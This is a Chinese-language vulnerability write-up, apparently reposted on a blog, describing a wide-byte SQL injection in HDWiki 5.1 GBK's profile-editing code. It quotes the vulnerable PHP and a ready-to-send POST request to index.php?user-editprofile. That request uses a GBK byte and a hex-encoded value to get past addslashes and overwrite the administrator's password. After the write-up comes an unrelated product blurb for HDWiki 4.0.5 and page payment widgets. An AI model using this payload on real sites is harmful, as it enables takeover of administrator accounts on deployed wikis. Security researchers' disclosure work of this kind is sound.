hdwiki can not connect to mysql_HDWIKI最新版Update注入可修改管理员密码(MYSQL进制技巧)...

### 简要描述:

最新版HDWIKI 5.1 GBK

无视GPC

上首页吧!

### 详细说明:

问题出在\hdwiki\control\user.php下

最新版HDWIKI 5.1 GBK版本

HDWIKI全局过滤,但是面对宽字节注入,就容易出问题了

```

function doeditprofile(){

if(isset($this->post['submit'])){

$gender = intval($this->post['gender']);

$birthday = strtotime($this->post['birthday']);

$location = $this->post['location'];

$signature = $this->post['signature'];

if (WIKI_CHARSET == 'GBK'){

$location = string::hiconv($location);

$signature = string::hiconv($signature);

}

$location = htmlspecialchars($location);

$signature = htmlspecialchars(str_replace(array('\n','\r'),'',$signature));

$_ENV['user']->set_profile($gender,$birthday,$location,$signature,$this->user['uid']);

}else{

if(0 == $this->user['birthday']){

$birthday = '';

}else{

$birthday=$this->setting['time_offset']*3600+$this->setting['time_diff']*60+$this->user['birthday'];

$birthday = date('Y-m-d',$birthday);

}

$this->view->assign('birthday',$birthday);

//$this->view->display('editprofile');

$_ENV['block']->view('editprofile');

}

}

```

关键代码是

```

$location = string::hiconv($location);

$signature = string::hiconv($signature);

}

$location = htmlspecialchars($location);

$signature = htmlspecialchars(str_replace(array('\n','\r'),'',$signature));

```

HDWIKI在大部分编码转换之后的地方都会addslashes

这里我们跟进这个函数set_profile()

```

function set_profile($gender,$birthday,$location,$signature,$uid){

$this->db->query("UPDATE `".DB_TABLEPRE."user` SET gender = '$gender',birthday = '$birthday',location = '$location',signature = '$signature' WHERE uid = $uid");

```

进入mysql前并没有进行addslashes

而且我们有$location,$signature

思路是让location引入\注释后面的单引号 由signature来注入

由于没有开display_error ,我们延时看看

[dsa.png](https://images.seebug.org/upload/201502/27214125da4f1cae21a239a97fa5f2a32f42dc3b.png)

我们就能盲注查询管理员密码

但是有时候密码是破不出来的,怎么办呢

我们其实可以替换管理员密码

先说说HDWKI的表构造

由于管理员和普通的账号都存储在wiki_user下,所以这里由于是update的是这个表

但是问题来了

我们引入password的时候 格式一般都是

```

password='b5ebc89058e80ef0189090a0390109e4'

```

但是这里是无法引入单引号的(会被addslashes),而不打单引号又会被当成表名,不被识别为value。

这里用要一个小技巧

MYSQL对十六进制是能够自动识别 转换的。

比如

[wadasd.png](https://images.seebug.org/upload/201502/27215809fd505a9b3349c9711c96873b05922f7d.png)

这样我们就能绕过单引号而update管理员密码了

我们先本地用脚本转换ascii为hex

```

echo bin2hex($_GET[a]);

?>

```

然后向http://localhost/hdwiki/index.php?user-editprofile

post

```

gender=0&birthday=2015-02-18&location=%E9%8C%A6%27&signature=, password=0x3231323332663239376135376135613734333839346130653461383031666333#&submit=true

```

成功修改密码

[yes.png](https://images.seebug.org/upload/201502/27220549d30aa32bc4d6cc30aef505b839100430.png)

### 漏洞证明:

我们延时看看

[dsa.png](https://images.seebug.org/upload/201502/27214125da4f1cae21a239a97fa5f2a32f42dc3b.png)

成功修改密码

[yes.png](https://images.seebug.org/upload/201502/27220549d30aa32bc4d6cc30aef505b839100430.png)

loading-bars.svg

软件名称: HDwiki GBK 版本: 4.0.5 软件大小:1.89MB 软件语言:简体中文 授权:免费 软件类别: 国内软件 运行环境: php/mysql 软件分类:php源码--社区论坛 软件关键字:hdwiki 百科 wiki 程序 软件作者:互动百科 作者(开发商)URL:http://kaiyuan.hudong.com 演示地址: http://www.hudong.com/ 下载地址: http://kaiyuan.hudong.com/download/HDWiki-v4.0.5GBK-20090820.zip 简介: HDWiki简介 概述 互动维客开源系统(HDWiki)作为中国第一家拥有自主知识产权的中文WIKI系统,由互动在线( 北京) 科技有限公司(www.hudong.com)于2006 年11 月28 日正式推出,力争为给国内外众多的WIKI 爱好者提供一个免费、易用、功能强大的WIKI 建站系统。HDWiki的推出,填补了中文Wiki 建站系统的空白。一经面市,即获得广大中小站长和WIKI 爱好者的喜爱,目前全国已有4万家网站使用HDwiki建立了wiki站点。并在此基础上,成立了一个活跃的wiki社区。 用途 建立网站百科知识库 适用群体 行业网站和地方网站 系统特点 与UC实现无缝对接,实现用户信息的共享 免费向站长提供350万词条内容 丰富的模版,使您的网站个性十足 强大的标签控制功能,方便调用各种数据 标准的用户权限控制 独特的URL请求处理 HDWiki4.0.5版本更新和改进 1、全新的编辑器,全新的用户编辑体验 2、hdwiki的passport设计:支持各种有passport系统的整合 3、url的整体改进 4、标签语法的支持,可以在模版中任意调用数据 5、数据库的优化,减少数据存储空间,初步预计能够减少20%到50%的数据库空间 6、 百科联盟增加上传词条黑名单和下载词条黑名单; HDWiki4.0.5版本更多详情请查阅: http://kaiyuan.hudong.com/bbs/viewthread.php?tid=8747&highlight=HDWiki4.0.5 HDWiki详情请查阅: http://kaiyuan.hudong.com/index.php
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值